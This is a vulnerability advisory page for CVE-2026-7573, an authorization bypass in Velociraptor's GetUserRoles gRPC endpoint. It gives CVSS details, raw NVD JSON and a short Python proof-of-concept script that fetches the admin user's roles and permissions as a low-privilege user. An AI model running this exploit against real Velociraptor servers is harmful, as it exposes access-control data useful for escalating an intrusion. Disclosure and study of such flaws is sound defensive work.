Security Vulnerability Report
中文
CVE-2026-7573 CVSS 5.0 MEDIUM

CVE-2026-7573

Published: 2026-05-06 03:15:59
Last Modified: 2026-05-07 14:56:05

Description

An authorization bypass (CWE-639) in the GetUserRoles gRPC API endpoint in Velocidex Velociraptor below version 0.76.5 allows any authenticated low-privilege user to retrieve the complete ACL policy (roles and permissions) for any user across all organizations by supplying targeted Name and Org parameters via a network request.

CVSS Details

CVSS Score
5.0
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Velocidex Velociraptor < 0.76.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # PoC for CVE-2026-7573: Velociraptor Authorization Bypass # This script demonstrates how a low-privilege user can retrieve ACLs of any user. import grpc import api_pb2 import api_pb2_grpc def get_user_acl(target_username, target_org, attacker_creds): # Create a secure channel to the Velociraptor server channel = grpc.secure_channel('localhost:8000', attacker_creds) stub = api_pb2_grpc.APIStub(channel) # Construct the request to GetUserRoles # Vulnerability: The API does not check if the requester has permission to view 'target_username' in 'target_org' request = api_pb2.GetUserRolesRequest( name=target_username, org=target_org ) try: # Execute the request response = stub.GetUserRoles(request) print(f"[+] Successfully retrieved ACL for user: {target_username}") print(f"[+] Roles: {response.roles}") print(f"[+] Permissions: {response.permissions}") return response except grpc.RpcError as e: print(f"[-] Error: {e.code()} - {e.details()}") return None if __name__ == "__main__": # Attacker's credentials (low privilege) creds = grpc.ssl_channel_credentials() # Target: Administrator in the Root organization TARGET_USER = "admin" TARGET_ORG = "root" print(f"[*] Attempting to bypass authorization and fetch ACL for {TARGET_USER}...") get_user_acl(TARGET_USER, TARGET_ORG, creds)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-7573", "sourceIdentifier": "[email protected]", "published": "2026-05-06T03:15:59.440", "lastModified": "2026-05-07T14:56:04.523", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "An authorization bypass (CWE-639) in the GetUserRoles gRPC API endpoint in Velocidex Velociraptor below version 0.76.5 allows any authenticated low-privilege user to retrieve the complete ACL policy (roles and permissions) for any user across all organizations by supplying targeted Name and Org parameters via a network request."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N", "baseScore": 5.0, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-639"}]}], "references": [{"url": "https://docs.velociraptor.app/announcements/advisories/cve-2026-7573/", "source": "[email protected]"}]}}